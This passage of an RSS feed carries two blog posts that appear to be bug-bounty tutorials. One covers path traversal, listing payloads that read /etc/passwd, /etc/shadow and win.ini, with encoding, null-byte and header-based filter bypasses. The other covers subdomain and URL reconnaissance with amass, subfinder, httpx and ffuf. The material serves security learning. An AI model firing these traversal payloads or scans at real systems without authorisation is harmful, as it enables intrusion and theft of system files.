            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Mohammed Hassan]]></dc:creator>
            <pubDate>Wed, 20 Aug 2025 14:47:01 GMT</pubDate>
            <atom:updated>2025-08-20T14:47:01.303Z</atom:updated>
            <content:encoded><![CDATA[<ul><li><strong>Path traversal vulnerability</strong> (also known as <strong>directory traversal</strong>) is a type of security flaw that allows an attacker to access files and directories that are outside the intended directory structure of a web application.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xQhHFDqpsagNRLVJsdzJkw.png" /></figure><ul><li>Web applications often take user input to access files on the server (e.g., loading images, downloading documents, or reading logs). If this input isn’t properly validated or sanitized, an attacker can manipulate it to <strong>“traverse” directories</strong> and access files that should be restricted.</li><li>A usual path in the URL is like: <a href="https://www.example.com/test">https://www.example.com/test</a></li><li>This path is translated in the server side like: /var/www/html/test</li><li>Now we have sensitive paths that start from the root / like : /etc/passwd OR /etc/shadow OR /etc/hosts OR /etc/hostname</li><li>to get one step back we use the command ../</li><li>Now we want to delete /var/www/html/test to go to the root /</li><li>So we will use ../../../../ after the original path</li><li>Then we can easily insert the sensitive path that we want like : /etc/passwd , or any path.</li><li>And if the server is windows just replace the ../ with ..\</li><li>And you will find a sensitive paths for windows like: ..\..\..\windows\win.ini</li><li>The work is not that easy all the time, there may be some filtrations on the user input that makes the previous steps not work, so we need to bypass these filtrations</li><li>To bypass the filtrations:</li></ul><ol><li>encode ../</li><li>use ⇒ ..//..// instead of ../../</li><li>use ⇒ …/./…/./ instead of ../../</li><li>use ⇒ ….//….// instead of ../../</li><li>use ⇒ .././.././ instead of ../../</li><li>replace / with \ even if you know that the server is Linux server</li><li>read this article⇒ <a href="https://code.google.com/archive/p/teenage-mutant-ninja-turtles/wikis/AdvancedObfuscationPathtraversal.wiki">path traversal cheat sheet</a></li></ol><ul><li>Some Tips And Tricks:</li></ul><ol><li>make the burp not filter images because images come from the server</li></ol><p>2. you can use /etc/passwd directly without the need of ../../</p><p>3. intruder has a wordlist for path traversal, but don`t relay on it because you will probably get blocked by the server</p><p>4. if encoding once not work encode more than once</p><p>5. source code shows paths that deals with the server</p><p>6. use the null value to fool the server like ⇒ ../../../etc/passwd%00.jpg</p><p>7. path traversal may appear in headers like ⇒ Accept: ../../../../../../../../../../etc/passwd{{</p><p>8. GET /assets/css///////../../../../../../../../etc/passwd</p><p>9. GET /path\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\etc\passwd%3F.js</p><ul><li>Useful reports from <strong>Hackerone</strong></li></ul><ol><li><a href="https://hackerone.com/reports/727727">First Report</a></li><li><a href="https://hackerone.com/reports/733072">Second Report</a></li><li><a href="https://hackerone.com/reports/1394916">Third Report</a></li><li><a href="https://hackerone.com/reports/2434811">Fourth Report</a></li><li><a href="https://hackerone.com/reports/3060373">Fifth Report</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=badb260fe16b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Recon]]></title>
            <link>https://medium.com/@MohammedMHassan/recon-mohassan-f142ff07001d?source=rss-f9234c3796ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/f142ff07001d</guid>
            <category><![CDATA[information-gathering]]></category>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Mohammed Hassan]]></dc:creator>
            <pubDate>Mon, 18 Aug 2025 15:47:12 GMT</pubDate>
            <atom:updated>2025-08-18T15:47:12.522Z</atom:updated>
            <content:encoded><![CDATA[<ul><li>Recon is the first step in Penetration testing or Bug Hunting, it stands for reconnaissance, it is done to gather information about a target system, network, or organization, and it is used in Ethical hacking, penetration testing, or malicious hacking.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x9JiyE1P3v5u8ejUoc7_7A.jpeg" /></figure><h3>There are two types of Recon:</h3><p>1- Active : by Interacting with the target (e.g., port scanning, ping sweeps).</p><p>2- Passive : by Gathering info without direct interaction (e.g., WHOIS, social media).</p><h3>Why Recon is an Important step in Pentesting?</h3><ul><li>suppose you have a website examle.com, that you want to pentest over it, and all you know about it is its domain → example.com</li><li>the number of vulnerabilities you will find in this site will be very limited and you may not find any vulnerabilities.</li><li>but when you follow a good Recon methodology you my find thousands of subdomains and assets of the original domain which will make the scope very wide giving you the opportunity to find dozens of vulnerabilities.</li></ul><h3><strong>Recon Methodology:</strong></h3><p>1- Small targets:</p><ul><li>for small websites you can use online websites that gathers information about the target like subdomains,CNAME,etc like:</li></ul><ol><li><a href="https://securitytrails.com/">https://securitytrails.com/</a> → this site is very useful and provides you with a great number of subdomains , records,CNAME,etc, you can also use their API but it is paid.</li><li><a href="https://subdomainfinder.c99.nl/">https://subdomainfinder.c99.nl/</a> → this also provides you with subdomains that you can easily copy and put them in a file, you can also use their API but it is also paid.</li><li><a href="https://shrewdeye.app/">https://shrewdeye.app/</a> → this site is very useful and powerful it provides you with a file that you can download locally and it is very arranged.</li></ol><ul><li>Following these websites you will collect as much information as you need to start working over the target.</li></ul><p>2- Large targets:</p><ul><li>in large websites you can use the past methodology of the small websites and enhance your methodology with tools and automation as follow:</li><li><a href="https://github.com/tomnomnom/assetfinder">assetfinder</a> → tool that you can download from GitHub , this tool works passively to collect the subdomains</li><li><a href="https://github.com/projectdiscovery/subfinder">Subfinder</a> → tool that you can download from GitHub, this tool also works passively to collect the subdomains but, you can provide it with apis to make it more stronger</li><li>use → $HOME/.config/subfinder/provider-config.yaml and add the apis for subfinder</li><li><a href="https://github.com/owasp-amass/amass">amass</a> → tool that you can download from GitHub, this tool also works passively to collect the subdomains but, you can provide it with apis to make it more stronger,</li><li>use → $HOME/.config/amass/provider-config.yaml and add the apis for amass</li><li>you can use amass to get the ASN of a company like:amass intel -org “CompanyName”</li><li>after getting the ASN use → amass intel -active -asn (the company ASN , without the Brackets)</li><li>then you will get a domains related to the company</li><li>you can use amass also if you have the CIDR of the company to get related domains like → amass intel -active -cidr (the CIDR, without Brackets)</li><li>there are some tools that you can provide a word-list like:</li><li><a href="https://github.com/rbsec/dnscan">dnscan</a> → python3 ~/dnscan/dnscan.py -d <a href="http://example.com/">example.com</a> -w The_word_List_Path.txt -t 1000</li><li>after you have collected all possible subdomains and but them in a single file , you will get a lot of duplicates so to get off these duplicates use a tool called anew to remove duplicates:</li><li>suppose you have put the subdomains in a file called duplicatedsubs.txt, then</li><li>use → cat duplicatedsubs.txt | anew &gt;&gt; subs.txt</li><li>now you have all subdomains without any duplication</li><li>now after you`ve collected all possible subdomains this does not mean that all of the subdomains are working , to know the working subdomains we use a tool called httpx</li><li>use → subs.txt | httpx -o sites.txt , this let you collect all sites from the subdomains you`ve collected</li><li>use → sites.txt | httpx -mc 200 -o workingSites.txt , this let you collect the working sites only.</li><li>after you`ve collected the working sites, you can collect urls that are related to those sites</li><li>put the urls in a file called urls.txt for example</li><li><a href="https://github.com/projectdiscovery/katana">Katana</a> → katana -list urls.txt -v -jc -o katanaurls</li><li><a href="https://github.com/tomnomnom/waybackurls">waybackurls</a> → cat urls.txt | waybackurls</li><li><a href="https://github.com/jaeles-project/gospider">gospider</a> →gospider -S workingSites.txt | sed -n ‘s/.<em>\(https:\/\/[^ ]</em>\)]<em>.</em>/\1/p’ &gt;&gt; gospider.txt</li><li>now you can put all urls you`ve collected in one file and remove duplicates using anew also.</li><li>now we need to make</li></ul><p>1- Directory Enumeration:</p><ul><li>directory Enumeration use → <a href="https://github.com/v0re/dirb">dirb</a>, you can download from github</li><li>use → dirb <a href="https://example.com/">https://example.com</a></li></ul><p>2- File Enumeration:</p><ul><li>for file Enumeration use → <a href="https://github.com/ffuf/ffuf">ffuf</a>,<a href="https://github.com/maurosoria/dirsearch">dirsearch</a>, you can download both of them from github</li><li>dirsearch -u <a href="https://example.com/">https://example.com</a></li><li>ffuf -u <a href="https://example.com/FUZZ">https://example.com/FUZZ</a> -w wordlistPatt ,,, the tool will fuzz in the place of the word /FUZZ</li><li>you can use a wordlist like Seclist, it is a powerful one.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f142ff07001d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>